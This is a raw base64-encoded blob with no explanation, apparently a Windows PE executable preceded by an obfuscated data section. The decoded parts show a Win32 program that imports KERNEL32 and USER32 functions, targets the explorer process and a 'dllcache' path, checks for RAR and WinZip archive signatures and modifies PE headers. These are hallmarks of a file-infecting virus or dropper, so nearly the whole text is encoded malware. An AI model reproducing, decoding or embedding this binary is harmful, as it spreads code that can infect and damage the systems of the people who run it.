hJD45A249Pi1uJSYhJD45A3ksOy1kOy8DYzk3LX4gLD85LiUmA2A+LX4gLD85LiUmA249Pi1 sOyo8OQNpLDktbCo4LD8pA2ksOS1tbW1tbW1+BQEaDB0EA0kBAS1mCB8DCAEeX0NJAQEtQwg ZDB0EHl9DSQEBLV4LDgNJAQEtbW1tbX4EHw4MAC1jBAAJDC1uAgkIPwgJLXo8JiAgHlVaVW1 qPyQoKx5VWlVtaxgDDWECGwQDCg1uHwQABAMMAS1jAh8ZAgMtYA4MCwgILWwDGQQbBB8tbBs OAgMeAgEtawB+OSI9Oi1rAH4IDhgfCC1+Ah0FAh4tWwQfGB4tbDs9DWACAwQZAh8tbDs9DXg dCQwZCB4tZAMCDhgBDBkIJDktfS4ATgQBAQQDLX4UAAwDGQgOLXkfCAMJDWAEDh8CLWsAfT8 iOS1NYyIpHl9NbW1tfwgKBB4ZCB8+CB8bBA4IPR8CDggeHi1jCBk+BQwfCCwJCS1+JSkIAQg ZCCYIFCwtfgsOJB4rBAEIPR8CGQgOGQgJLWMIGT4FDB8IKggZJAMLAi1jCBksHQQvGAsLCB8 rHwgILW1tbW1oNT0hIj8oPy1uICAqPy1AHgQAAy1EDhoOAgMDLVoEAxcEHS1tbW1tfR8CCh8 MAC1IXg1RSF4TbWwvLikoKyolJCcmISAjIj08Pz45ODs6NTQ3DA8OCQgLCgUEBwYBAAMCHRw fHhkYGxoVFBcdXF9eWVhbWlVURkJtXggZGB0tRAMeGQwBAS1JCAACLV4DAgIdFC1dBA4MDhg tRgQZGRQtXQEMFC1fAg4GLW1tbW1tbW1/DB8Md2ptYr3eLW1gbW1tbW1tbW1tQ18MHy1tWgQ DBAMIGQNJAQEtZAMZCB8DCBkqCBkuAgMDCA4ZCAk+GQwZCC1tbWkEHwgOGQIfFC1JAQEODA4 FCC1tfggpCA8YCj0fBBsEAQgKCC1+CDkODz0fBBsEAQgKCC1tbW1tbW1tbVoPAEcMHQwDA04 CA0cdLVsIHwQXAgMDQwgZLUwfHBgEHwgJA0geLUkECwwOA04CAC1tfgILGRoMHwgxIAQOHwI eAgsZMSQDGQgfAwgZDWwODgIYAxkNYAwDDAoIHzEsDg4CGAMZHjEtfiA5PQ1+CB8bCB8tfiA 5PQ1oAAwEAQ1sCQkfCB4eLW16Ah8ADWYBCBcDaA1EAAAYAwQZFC1tZgEIFwNoDUQeDVkFCA1 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 U8YEMwBTV//VC8BbWogUM3XSC8Bhw1cywDPJSfKuX/fRScMAACQAYOgAAAAAXegNAAAAdGVt MzJcZGxsY2FjAF+NdaLoZu7//2HDJMI2AEQqJMIkwnk9sYnUPdt7BEw+LScD9QMnDiWPLKgE m/UqV8cR4qf6ySDRS2DmMKStR1As2z1FAc57awCuk857znuT9nNePoQxEc8sMe47lDGExbu6 aEWjT5DOe897Q86ulTGEJoIjhDEiLXGHKkPG+4sxhCWuJnzOe84OvR68SPx7Me47lDGExbu6 YkWjT5DOe897Q8afizGEQ86ulTGEJsYjhDEawwAAJXMlMDhkAABhOlwAeAAAAAAAAAAAAAAA AQAAAAAAAAAAAAAAAAAAAEqiQAACAAAAAQIECAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAA AAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+ AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAA QH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAA AAAaKkEAGipBAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAA hACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIA ggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAANzS QADM0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAA AAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEA AMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAACgAAAIwAAAD///// AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIAAABI1UAACAAAABzVQAAJAAAA8NRAAAoA AADM1EAAEAAAAKDUQAARAAAAcNRAABIAAABM1EAAEwAAACDUQAAYAAAA6NNAABkAAADA00AA GgAAAIjTQAAbAAAAUNNAABwAAAAo00AAeAAAABjTQAB5AAAACNNAAHoAAAD40kAA/AAAAPTS QAD/AAAA5NJAAAAAAAAAAAAAADtJAAAAAAAAO0kAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAA AAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcA AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 